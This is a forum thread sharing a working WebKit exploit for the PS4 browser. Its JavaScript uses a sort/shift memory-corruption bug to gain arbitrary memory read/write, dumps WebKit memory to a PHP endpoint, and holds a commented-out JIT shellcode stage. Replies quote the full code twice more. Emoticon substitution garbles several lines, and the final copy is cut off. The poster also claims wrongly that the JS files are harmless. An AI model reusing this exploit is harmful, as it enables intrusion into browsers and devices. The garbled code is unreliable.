Post: PS4 Webkit exploit 1.74? (PS4 1.76 Webkit ROP POC )
01-09-2016, 12:12 AM #1
Default Avatar
AK47
Guest
(adsbygoogle = window.adsbygoogle || []).push({}); Hello,

I just came across this download, I believe you upload this to a web server and use it on your PS4 browser.... Check it out looks pretty cool.

THIS IS .PHP, .JS FILES NO NEED FOR VIRUS SCAN... Well they could do something for running JS files in browsers but.... It's in a PS4 browser so i highly doubt anything harmful would happen. Here a few screen shots and pastes of the code i found interesting


You must login or register to view this content.


You must login or register to view this content.


    <html>
<body>
<script src="inc/utils.js"></script>
<script src="inc/jquery.js"></script>
<script type="text/javascript">

// global vars
var _gc, _cnt = 0;

function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;

// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);

// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
logAdd("myCompFunc(u32,3)");
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}

// call the vulnerable method - JSArray.sort(...)
a1.sort(myCompFunc);

// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
logAdd("a2.length = 0x" + len.toString(16));
if (len == a2len) { logAdd("error: 1"); return 1; }

//
// Part 2: creating corrupted JSValue which points to the (u32+0x1Cool Man (aka Tustin) address
//

// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
logAdd("myCompFunc(1,0)");
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
logAdd("myCompFunc(x,3)");
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}

a1.sort(myCompFunc);

// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x1Cool Man (aka Tustin)
var c = a2.length;
logAdd("a2.length = 0x" + c.toString(16));
if (c != len + 0x1Cool Man (aka Tustin) { logAdd("error: 2"); a1[3] = 0; return 2; }

//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//

// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}

// generate JIT-code
for(var i=c-1; i >= 0; i--) { funcs[i](i); }

// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];

// allocate mo's property storage right after a3's buffer
Object.defineProperty(mo, "prop0", pd);
for(var i=1; i < 5; i++){
mo["prop"+i] = i;
}

// protect from GC
_gc.push(a3,mo,funcs);

// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
logAdd("myCompFunc(a3[3],2)");
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}

// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);

// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32; // GetterSetter.m_structure
u32.prop2 = 8; // 8 = JSType.GetterSetterType
u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()

// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;

// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, "prop0", pd);

// check results: u32.length is taken from f's internals now
logAdd("u32.length = 0x" + u32.length.toString(16));
if (u32.length == u32len) { logAdd("error: 3"); return 3; }

//
// Part 4: getting the JIT-code memory address
//

// declare aux functions
var setU64 = function(offs, val) {
u32[offs] = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}

// get the memory address of u32
var u32addr = getObjAddr(u32);
logAdd("u32 address = 0x" + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
logAdd("u32 base = 0x" + u32base.toString(16));

// on x64 platforms we can't just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32's buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near "f"
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> Cool Man (aka Tustin) == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i - 6;
f2old = getU64(f2offs);
break;
}
}
logAdd("f2offs = 0x" + f2offs);
if (!f2) { return false; }

}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
u32base = u32base0;
}
if (addr == null) return true;

// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);

// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, "prop0", pd);

u32base = addr;
logAdd("u32 new base = 0x" + u32base.toString(16));

return true;
}

// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr - u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr - u32base) >>> 2, val);
}


logAdd("u32 size: 0x" + u32.length.toString(16));

// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object

var xx = getU64from(u32base0+0x20);
var yy=0;
logAdd("verify base: 0x"+xx.toString(16) );

//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I'm using is always at +0x20 from
// the original base at +0x20.

// 1.70 PS4 = -0x30bf0 is the start of webkit

// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) = modules table
// If this crashes, try it 2-4 more times. It usually will work


// xx will be the base address of WebKit2
var xx = <?php print $_GET["base"];?>;
setBase(xx);


// This is where you set the block dumping size (number of u32)
//var maxsize=0x7000;
var maxsize=<?php print $_GET["chunk"];?>;
// This is where you set how many blocks you want to dump
var maxiters=<?php print $_GET["cnt"];?>;


for(var bb=0;bb<maxiters;bb++) {
var dump_data = "";


for(var aa=0;aa<(maxsize-1);aa++) {
// Manually create a string of data
dump_data += u32[(bb*maxsize)+aa].toString(16) +",";

}


dump_data+= u32[(maxsize-1)].toString(16); // Add the last one without a trailing comma
logAdd("data to string: finished");

// Currently this has to dump a seperate file per iteration
// I tried to concat them all into one file, but I was getting some weird overwriting and missing commas..
// It would be nice to get that fixed though.....

fname = "dump.php?name=dump-0x" + xx.toString(16) + "-" + bb;
$.ajax({
url : fname,
type: "POST",
data : dump_data,
success: function(data, textStatus, jqXHR)
{
logAdd("upload: success");
},
error: function (jqXHR, textStatus, errorThrown)
{
logAdd("upload fail: " + textStatus);
}
});
}


/* // read ((JSFunction)f).m_executable;
var jitObj = getU64(4);
logAdd("JIT object = 0x" + jitObj.toString(16));

// read ExecutableBase.m_jitCodeForCall
jitObj += 0x18;
var jitAddr = getU64from(jitObj);
logAdd("JIT address = 0x" + jitAddr.toString(16));
if (!jitAddr) { logAdd("error: 4"); return 4; }


//
// Part 5: payload execution
//

// create "empty" payload for Mac x64
var payload = U8toU32(new Uint8Array([
// custom part
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
// ...
//
// payload returns 0x1234 // modify it to ensure that payload works Smile
0x48,0xB8,0x34,0x12, 0x00,0x00,0x00,0x00, 0xFF,0xFF, // mov rax, 0xFFFF000000001234
// mandatory part
0x4D,0x8B,0x6D,0xD8, // mov r13, [r13-0x28] // webkit needs this
0xC3, // ret
0x90 // for 4-bytes alignment
]));

// make sure that u32.length is enough
if (payload.length > u32len) { logAdd("error: u32.length is not enough for payload"); return 5; }

// choose some place in f() JIT memory for payload
var jaddr = jitAddr + 0x40;
jaddr -= jaddr % 4;
// modify ((ExecutableBase)f).m_jitCodeForCall
setU64to(jitObj, jaddr);
logAdd("payload address = 0x" + jaddr.toString(16));

var res;

// copy our payload into the f() JIT memory
if (!setBase(jaddr)) { logAdd("error: 5"); return 5; }
logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD
exchangeArrays(payload, u32, 0);

try {
// call payload
res = f(0);
}catch(e){
logAdd("Error 5: " + e);
}

// restore overwritten JIT memory
exchangeArrays(payload, u32, 0);
//logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD

//
// Part 6: patching corrupted memory
//
// restore m_jitCodeForCall
setU64to(jitObj, jitAddr);

// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}

// delete corrupted property
delete mo.prop0;

// check that payload returns 0x1234
logAdd((res == 0x1234 ? "Ok:":"Fail:") + " f() = 0x" + res.toString(16));
if (res != 0x1234) { return 9; } // error

*/
}
catch(e) {
logAdd(e);
}

return 0;
}

// "Start" button onclick handler
function btnClick()
{
try {
logAdd("======== Start ========");

// check OS version
//if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; }



// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd("<br/>Attempt #" + i + ":");
if (tryExplMac64(i) == 0) break;
}

logAdd("<br/>======== End  ========<br/><br/>");
}
catch(e) {
logAdd(e);
}

_log = null;
}

// print environment info
writeEnvInfo();

</script>

<button style="width:100px;" onclick="btnClick();">Start</button>
<br/><br/>
<div id="log"></div>
</body>
</html>






You must login or register to view this content.
01-09-2016, 12:15 AM #2
Winter
Purple God
Originally posted by AK47 View Post
Hello,

I just came across this download, I believe you upload this to a web server and use it on your PS4 browser.... Check it out looks pretty cool.

THIS IS .PHP, .JS FILES NO NEED FOR VIRUS SCAN... Well they could do something for running JS files in browsers but.... It's in a PS4 browser so i highly doubt anything harmful would happen. Here a few screen shots and pastes of the code i found interesting


You must login or register to view this content.


You must login or register to view this content.


    <html>
<body>
<script src="inc/utils.js"></script>
<script src="inc/jquery.js"></script>
<script type="text/javascript">

// global vars
var _gc, _cnt = 0;

function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;

// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);

// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
logAdd("myCompFunc(u32,3)");
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}

// call the vulnerable method - JSArray.sort(...)
a1.sort(myCompFunc);

// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
logAdd("a2.length = 0x" + len.toString(16));
if (len == a2len) { logAdd("error: 1"); return 1; }

//
// Part 2: creating corrupted JSValue which points to the (u32+0x1Cool Man (aka Tustin) address
//

// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
logAdd("myCompFunc(1,0)");
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
logAdd("myCompFunc(x,3)");
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}

a1.sort(myCompFunc);

// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x1Cool Man (aka Tustin)
var c = a2.length;
logAdd("a2.length = 0x" + c.toString(16));
if (c != len + 0x1Cool Man (aka Tustin) { logAdd("error: 2"); a1[3] = 0; return 2; }

//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//

// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}

// generate JIT-code
for(var i=c-1; i >= 0; i--) { funcs[i](i); }

// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];

// allocate mo's property storage right after a3's buffer
Object.defineProperty(mo, "prop0", pd);
for(var i=1; i < 5; i++){
mo["prop"+i] = i;
}

// protect from GC
_gc.push(a3,mo,funcs);

// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
logAdd("myCompFunc(a3[3],2)");
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}

// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);

// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32; // GetterSetter.m_structure
u32.prop2 = 8; // 8 = JSType.GetterSetterType
u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()

// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;

// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, "prop0", pd);

// check results: u32.length is taken from f's internals now
logAdd("u32.length = 0x" + u32.length.toString(16));
if (u32.length == u32len) { logAdd("error: 3"); return 3; }

//
// Part 4: getting the JIT-code memory address
//

// declare aux functions
var setU64 = function(offs, val) {
u32[offs] = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}

// get the memory address of u32
var u32addr = getObjAddr(u32);
logAdd("u32 address = 0x" + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
logAdd("u32 base = 0x" + u32base.toString(16));

// on x64 platforms we can't just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32's buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near "f"
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> Cool Man (aka Tustin) == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i - 6;
f2old = getU64(f2offs);
break;
}
}
logAdd("f2offs = 0x" + f2offs);
if (!f2) { return false; }

}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
u32base = u32base0;
}
if (addr == null) return true;

// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);

// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, "prop0", pd);

u32base = addr;
logAdd("u32 new base = 0x" + u32base.toString(16));

return true;
}

// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr - u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr - u32base) >>> 2, val);
}


logAdd("u32 size: 0x" + u32.length.toString(16));

// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object

var xx = getU64from(u32base0+0x20);
var yy=0;
logAdd("verify base: 0x"+xx.toString(16) );

//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I'm using is always at +0x20 from
// the original base at +0x20.

// 1.70 PS4 = -0x30bf0 is the start of webkit

// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) = modules table
// If this crashes, try it 2-4 more times. It usually will work


// xx will be the base address of WebKit2
var xx = <?php print $_GET["base"];?>;
setBase(xx);


// This is where you set the block dumping size (number of u32)
//var maxsize=0x7000;
var maxsize=<?php print $_GET["chunk"];?>;
// This is where you set how many blocks you want to dump
var maxiters=<?php print $_GET["cnt"];?>;


for(var bb=0;bb<maxiters;bb++) {
var dump_data = "";


for(var aa=0;aa<(maxsize-1);aa++) {
// Manually create a string of data
dump_data += u32[(bb*maxsize)+aa].toString(16) +",";

}


dump_data+= u32[(maxsize-1)].toString(16); // Add the last one without a trailing comma
logAdd("data to string: finished");

// Currently this has to dump a seperate file per iteration
// I tried to concat them all into one file, but I was getting some weird overwriting and missing commas..
// It would be nice to get that fixed though.....

fname = "dump.php?name=dump-0x" + xx.toString(16) + "-" + bb;
$.ajax({
url : fname,
type: "POST",
data : dump_data,
success: function(data, textStatus, jqXHR)
{
logAdd("upload: success");
},
error: function (jqXHR, textStatus, errorThrown)
{
logAdd("upload fail: " + textStatus);
}
});
}


/* // read ((JSFunction)f).m_executable;
var jitObj = getU64(4);
logAdd("JIT object = 0x" + jitObj.toString(16));

// read ExecutableBase.m_jitCodeForCall
jitObj += 0x18;
var jitAddr = getU64from(jitObj);
logAdd("JIT address = 0x" + jitAddr.toString(16));
if (!jitAddr) { logAdd("error: 4"); return 4; }


//
// Part 5: payload execution
//

// create "empty" payload for Mac x64
var payload = U8toU32(new Uint8Array([
// custom part
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
// ...
//
// payload returns 0x1234 // modify it to ensure that payload works Smile
0x48,0xB8,0x34,0x12, 0x00,0x00,0x00,0x00, 0xFF,0xFF, // mov rax, 0xFFFF000000001234
// mandatory part
0x4D,0x8B,0x6D,0xD8, // mov r13, [r13-0x28] // webkit needs this
0xC3, // ret
0x90 // for 4-bytes alignment
]));

// make sure that u32.length is enough
if (payload.length > u32len) { logAdd("error: u32.length is not enough for payload"); return 5; }

// choose some place in f() JIT memory for payload
var jaddr = jitAddr + 0x40;
jaddr -= jaddr % 4;
// modify ((ExecutableBase)f).m_jitCodeForCall
setU64to(jitObj, jaddr);
logAdd("payload address = 0x" + jaddr.toString(16));

var res;

// copy our payload into the f() JIT memory
if (!setBase(jaddr)) { logAdd("error: 5"); return 5; }
logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD
exchangeArrays(payload, u32, 0);

try {
// call payload
res = f(0);
}catch(e){
logAdd("Error 5: " + e);
}

// restore overwritten JIT memory
exchangeArrays(payload, u32, 0);
//logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD

//
// Part 6: patching corrupted memory
//
// restore m_jitCodeForCall
setU64to(jitObj, jitAddr);

// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}

// delete corrupted property
delete mo.prop0;

// check that payload returns 0x1234
logAdd((res == 0x1234 ? "Ok:":"Fail:") + " f() = 0x" + res.toString(16));
if (res != 0x1234) { return 9; } // error

*/
}
catch(e) {
logAdd(e);
}

return 0;
}

// "Start" button onclick handler
function btnClick()
{
try {
logAdd("======== Start ========");

// check OS version
//if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; }



// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd("<br/>Attempt #" + i + ":");
if (tryExplMac64(i) == 0) break;
}

logAdd("<br/>========*End *========<br/><br/>");
}
catch(e) {
logAdd(e);
}

_log = null;
}

// print environment info
writeEnvInfo();

</script>

<button style="width:100px;" onclick="btnClick();">Start</button>
<br/><br/>
<div id="log"></div>
</body>
</html>






You must login or register to view this content.


cooleo Sal
01-09-2016, 12:24 AM #3
Originally posted by AK47 View Post
Hello,

I just came across this download, I believe you upload this to a web server and use it on your PS4 browser.... Check it out looks pretty cool.

THIS IS .PHP, .JS FILES NO NEED FOR VIRUS SCAN... Well they could do something for running JS files in browsers but.... It's in a PS4 browser so i highly doubt anything harmful would happen. Here a few screen shots and pastes of the code i found interesting


You must login or register to view this content.


You must login or register to view this content.


    <html>
<body>
<script src="inc/utils.js"></script>
<script src="inc/jquery.js"></script>
<script type="text/javascript">

// global vars
var _gc, _cnt = 0;

function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;

// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);

// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
logAdd("myCompFunc(u32,3)");
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}

// call the vulnerable method - JSArray.sort(...)
a1.sort(myCompFunc);

// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
logAdd("a2.length = 0x" + len.toString(16));
if (len == a2len) { logAdd("error: 1"); return 1; }

//
// Part 2: creating corrupted JSValue which points to the (u32+0x1Cool Man (aka Tustin) address
//

// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
logAdd("myCompFunc(1,0)");
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
logAdd("myCompFunc(x,3)");
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}

a1.sort(myCompFunc);

// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x1Cool Man (aka Tustin)
var c = a2.length;
logAdd("a2.length = 0x" + c.toString(16));
if (c != len + 0x1Cool Man (aka Tustin) { logAdd("error: 2"); a1[3] = 0; return 2; }

//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//

// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}

// generate JIT-code
for(var i=c-1; i >= 0; i--) { funcs[i](i); }

// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];

// allocate mo's property storage right after a3's buffer
Object.defineProperty(mo, "prop0", pd);
for(var i=1; i < 5; i++){
mo["prop"+i] = i;
}

// protect from GC
_gc.push(a3,mo,funcs);

// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
logAdd("myCompFunc(a3[3],2)");
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}

// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);

// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32; // GetterSetter.m_structure
u32.prop2 = 8; // 8 = JSType.GetterSetterType
u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()

// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;

// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, "prop0", pd);

// check results: u32.length is taken from f's internals now
logAdd("u32.length = 0x" + u32.length.toString(16));
if (u32.length == u32len) { logAdd("error: 3"); return 3; }

//
// Part 4: getting the JIT-code memory address
//

// declare aux functions
var setU64 = function(offs, val) {
u32[offs] = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}

// get the memory address of u32
var u32addr = getObjAddr(u32);
logAdd("u32 address = 0x" + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
logAdd("u32 base = 0x" + u32base.toString(16));

// on x64 platforms we can't just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32's buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near "f"
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> Cool Man (aka Tustin) == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i - 6;
f2old = getU64(f2offs);
break;
}
}
logAdd("f2offs = 0x" + f2offs);
if (!f2) { return false; }

}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
u32base = u32base0;
}
if (addr == null) return true;

// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);

// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, "prop0", pd);

u32base = addr;
logAdd("u32 new base = 0x" + u32base.toString(16));

return true;
}

// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr - u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr - u32base) >>> 2, val);
}


logAdd("u32 size: 0x" + u32.length.toString(16));

// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object

var xx = getU64from(u32base0+0x20);
var yy=0;
logAdd("verify base: 0x"+xx.toString(16) );

//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I'm using is always at +0x20 from
// the original base at +0x20.

// 1.70 PS4 = -0x30bf0 is the start of webkit

// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) = modules table
// If this crashes, try it 2-4 more times. It usually will work


// xx will be the base address of WebKit2
var xx = <?php print $_GET["base"];?>;
setBase(xx);


// This is where you set the block dumping size (number of u32)
//var maxsize=0x7000;
var maxsize=<?php print $_GET["chunk"];?>;
// This is where you set how many blocks you want to dump
var maxiters=<?php print $_GET["cnt"];?>;


for(var bb=0;bb<maxiters;bb++) {
var dump_data = "";


for(var aa=0;aa<(maxsize-1);aa++) {
// Manually create a string of data
dump_data += u32[(bb*maxsize)+aa].toString(16) +",";

}


dump_data+= u32[(maxsize-1)].toString(16); // Add the last one without a trailing comma
logAdd("data to string: finished");

// Currently this has to dump a seperate file per iteration
// I tried to concat them all into one file, but I was getting some weird overwriting and missing commas..
// It would be nice to get that fixed though.....

fname = "dump.php?name=dump-0x" + xx.toString(16) + "-" + bb;
$.ajax({
url : fname,
type: "POST",
data : dump_data,
success: function(data, textStatus, jqXHR)
{
logAdd("upload: success");
},
error: function (jqXHR, textStatus, errorThrown)
{
logAdd("upload fail: " + textStatus);
}
});
}


/* // read ((JSFunction)f).m_executable;
var jitObj = getU64(4);
logAdd("JIT object = 0x" + jitObj.toString(16));

// read ExecutableBase.m_jitCodeForCall
jitObj += 0x18;
var jitAddr = getU64from(jitObj);
logAdd("JIT address = 0x" + jitAddr.toString(16));
if (!jitAddr) { logAdd("error: 4"); return 4; }


//
// Part 5: payload execution
//

// create "empty" payload for Mac x64
var payload = U8toU32(new Uint8Array([
// custom part
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
